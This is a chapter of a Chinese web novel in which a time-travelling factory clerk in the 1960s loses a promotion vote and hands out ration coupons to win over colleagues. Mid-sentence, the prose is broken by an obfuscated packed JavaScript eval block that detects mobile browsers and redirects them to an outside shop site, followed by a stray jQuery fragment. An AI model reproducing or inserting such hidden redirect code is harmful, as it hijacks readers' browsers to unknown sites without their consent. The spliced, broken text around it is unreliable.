13. 第十三章
    一通投票之后,优先重工车间学徒工转正的事情率先通过。

    因为转正名额有限,苏曼作为人事调动的专办科员,拿出了一份表格,上面写得有她认为学徒工期很久,一直没有转正,但为人处世都很勤奋踏实的人员,给大家看看。

    大家轮流看了一下她的表格,发现苏曼做得表格简洁又明了,上面明确写着每个学徒工,在重工车间工作了几年,年龄多大,平时为人处事如何,家庭成员负担重不重等等,这样一来,就方便大家举手表决,让谁转正。

    “苏科员不愧是咱们省城大学毕业的大学生,这表格做得好啊!”周厂长看完表格,笑着夸赞苏曼。

    苏曼客气道:“周厂长谬赞,我刚来厂里的时候对厂里什么都不了解,是周厂长和各位领导一直对我悉心教导,我才慢慢了解咱们厂,工作也渐渐得心应手。”

    一番话既拍了领导的马屁,又掩盖了自己做表格的突兀。

    这年头的电脑还是个概念,所有的办公表格都得自己画,自己写。

    原主之前在厂里干活,虽然也做表格,但远没有苏曼这个在现代是社畜打工人做得简洁明了。

    苏曼是魂穿到原主身上的,为了不被人发现她不是原主,被人当成妖魔鬼怪处理了,她尽量贴近原主的性格脾气做事。

    现在做表格的风格换了,也要找个由头说过去。

    千穿万穿,马屁不穿。

    苏曼以前在厂里不屑于跟人打交道,多言语,说话直来直往,从没有奉承阿谀过领导,领导虽然觉得她工作能力不错,可比起那些会说话的同事,她还是不受领导待见。

    这几天苏曼在厂里逐渐跟人交往,言语之间先赞别人几分,不仅人事科的同事受用,厂里的领导同样受用。

    想想一个直邦邦的人,忽然转了性子夸奖你,要不是你真值得她夸赞,她用得着说那些话儿?

    周厂长乐呵呵道:“就按小苏的表格进行表决吧,我看小苏上面标注的冶炼车间的任爱国、热轧钢车间的刘建设、精简车间、轧辊加工间等等几个学徒工同志都不错。”

    “我反对!”康莹莹不出苏曼意料,又跳出来唱反调:“苏科员表格上标注的几个学徒工,带他们的师傅都觉得他们技术不精,不宜转正。我们要是越过他们的师傅,让他们转正,这让他们的师傅情何以堪?要转正,也是优先转正那些技术工师傅觉得可以出师的学徒。”

    “对,康办事员说得没错!”工会那边的人立即接话:“人家师傅都没说什么,我们凭啥替人家做决定!”

    苏曼挑了挑眉,没有否认他们的话,跟着厂委几个领导进行投票。

    投票统计结果下来,苏曼提的几个学徒工全都被压了下去,没有一个转正,反而转正了七八个工会提的学徒工。

    “辛苦各位领导同事拉!”散会后,康莹莹神清气爽。

    难得看苏曼吃瘪,康莹莹看苏曼的眼神,都带着一股小人得志的劲儿。

    “看康莹莹那张狂样!”高晓丽跟苏曼并排着往二楼人事科走,愤愤不平的跟她吐槽:“任建国那几个学徒工,有些在技术工师傅手下干了四五年,他们师傅就不给人家通过转正,就是欺负人家老实!现在人家好不容易有机会转正,被康莹莹这个吃里扒外的东西给弄没了,不知道的还以为她是工会的人呢!尽跟我们厂委作对!”

    近来高晓丽跟苏曼走得很近,两人都是那种脾气直爽的人,一番接触下来都有一种相见恨晚的感觉,说话也是有什么说什么。

    “好了,别生气了,她愿意狂,让她狂去呗,反正得罪人的又不是我们。”

    苏曼走到自己办公桌旁,拿起随身的手提布袋,从包里掏出几张布票递给高晓丽说:“你上次不是说想买几尺布回去做身新衣穿?我手头有四尺布票,你拿去用吧。”

    厂里今天上午发了工资,苏曼除了56块钱的工资,四十多斤的粗粮细粮等等混合在一起的粮票,剩下的就是厂里分发的各种福利票据,比如肉票、糖票、布票等等,零零碎碎加起来都有二十多种票据。

    另外就是发放工业劵,根据上班人员发的工资进行发放,每二十元工资,发放一张工业劵,苏曼是56块的工资,就能发两张半的工业劵。

    往常原主发的各种钱票都会花个精光,苏曼穿越过来,想攒钱买套属于自己的房子,钱是不会乱花了

    各种票据中,除了吃喝上的票据,其他的她都打算送或者借给同事用。

    这样做的目的就是为了拉拢同事,改变她在同事眼中胸大无脑的恶毒形象。以免到了66年十年大、动、乱之时,有人心存不满,对她打击报复。

    在那个风吹草动都能逼死人的十年来临前,她必须提前做好应对准备。

    “都给我了,你今年不做衣服了啊?”高晓丽惊讶道。

    苏曼不甚在意的摆手道:“我衣服多得很咧,今年暂时不做了,布票留着不用的话明年就过期不能用了,你缺布票就拿去用,不用着急还我。”

    这年头人们身上穿的衣服,基本都是自己去供销社、百货商店扯布回来自己做。

    可因为前两年饥、荒、年的缘故,纺织作物这两年的产量明显没有以前多,布票也就限量供应,磐市城镇户口的人,一年的布票只有四尺。

    而成年人做一身衣裳,最少需要6-7尺布票。

    如果想做新衣服,要么攒上两年去做,要么找同事亲朋借借,来年再还。

    总之在这年头,想穿一身新服很不容易。

    苏曼就不同了,她身上穿的衣服大多是不要票的成衣残次品,或者高价商品。

    她的工资基本都花在了买衣服上面,一般的人根本就买不起,厂里的年轻女同志们对她各种羡慕。

    高晓丽平时也很羡慕苏曼能穿各种时兴漂亮的衣服,她今年不过二十岁,家里条件一般,父母都是双职工,有六个兄弟姐妹,上面还有爷爷奶奶,一个祖母,三个老人家,一大家子挤住在一起。

    虽然她进到厂里之后就申请到了集体宿舍去住,不过每回发的工资粮票之类的,有一大半都要拿回家里补贴家用。

    她看到苏曼时常穿着漂亮的衣裳来厂里上班,说不眼热是假的。

    爱美之心人皆有之,高晓丽还没处对象,因为她是家里的大姐,家里好不容易供她读完了高中,底下还有那么多兄弟姐妹要读书,要吃饭。

    父母想多留她几年,多补贴家里几年,她也知道父母的苦,很体贴的顺从。

    她已经有四五年没做过新衣服了,身上穿的衣服还是她母亲用农村的老土布,加以前家里的旧衣裳,拆了重新纺在一起做的衣裳。

    虽然比那些随处可见穿着补丁衣裳的人们衣服好很多,但来来去去就穿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9297398|94298||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着这两件款式很土,面料很厚的衣裳。

    换洗不方便不说,每回在光线亮丽的苏曼面前,她总有几分自行惭愧。

    最近她在一次单位组织的联谊会中,跟一个木器厂的厂委男干事看对了眼,对方约她出去看电影,她犹豫着要不要答应。

    她觉得自己家里条件没有对方好,又没有拿得出手的衣服出去赴约,去跟对方看电影,肯定会不自在。

    这会儿苏曼送上布票,高晓丽又惊讶又有些感动。

    有了布票,她就能做新衣服,有了新衣服穿在身上,面对那个心仪的男人,她心里就没那么自卑,就能挺起胸膛,跟那个男人约会。

    “苏科员,你人真好。你放心,以后康莹莹再敢欺负你,看我不骂死她!”高晓丽眼中闪着泪花道。

    苏曼嘿嘿笑了一下,要得就是这个效果。

    吃人嘴软拿人手短,能用钱票收买人心的事儿,那都不是事儿。

    她又把包里的两张工业劵、还有糖票、鞋票、点心票之类的票据,一一分拿给人事科的其他同事,用得说辞都是跟高晓丽差不多。

    这年头买什么都需要票据,有些人家里办点什么事情,需要什么票据,都要找亲朋同事借借凑上数,回头再慢慢还给人家。

    大家都是这么有来有往的过着,亲朋感情也在这样的来往中,变得更亲密牢靠。

    之前大家看苏曼手里钱票多,想找她结票据,她都不咸不淡的表示自己要用,打那以后就没人再找她借了。

    今天苏曼大方的借票给大家,大家诧异的同时,看到自己收到的票据,的确都是自己短缺急用的,大家对她的印象又好了几分。

    其中苏曼的直属领导之一,四十多岁的女科室主任,易主任拿到苏曼给的两张半工业劵后,笑着对苏曼说:“小苏啊,你现在是军属,按理来说,咱们厂委和工会都应该慰问你,给你发放拥军福利。怎么这事儿一点动静都没有?肯定是工会那边的人推三阻四!明天上班,我去工会那边给你问问,务必给你尽快发放拥军福利!”

    所谓的拥军福利,就是发一些结婚需要用的搪瓷盆、热水壶、洗脸帕、药膏牙刷肥皂之类的用品。

    东西不是很多,但却是一份所属单位的心意,能节约不少钱票。

    基本厂里有嫁给军人的女职工,都会在第一时间向工会说明情况。

    工会是代表厂里所有职工的,主要的职权就是给职工争取各项福利权益,像发放拥军福利这种事情,也是工会主管。

    苏曼领证到现在快半个月了,工会那边一直没动静,不知道是真抓瞎,还是针对她个人。

    她没去工会那边闹,厂委也就当看不见。

    苏曼是真不在意拥军福利,她都快有一个多星期没见过徐启峰了,自己在家属楼吃得好,住得好,一点也不想关系徐启峰的去向死活,他也不告诉她,他在干嘛,在忙什么。

    她和徐启峰结了婚,感觉上连陌生人都不如,随时都会离婚。

    这要是前头领了拥军福利,过不了几天就离婚,不得被人笑话眼皮子浅,她宁可不要拥军福利,低调一点好。

    不过易主任都这么说了,她也不好说什么,跟易主任道了声谢,回头就感慨,果然有钱能使鬼推磨。

    虽然她没用钱,只用了票,但自古以来最粗暴的收买人心手段,还是十分有成效。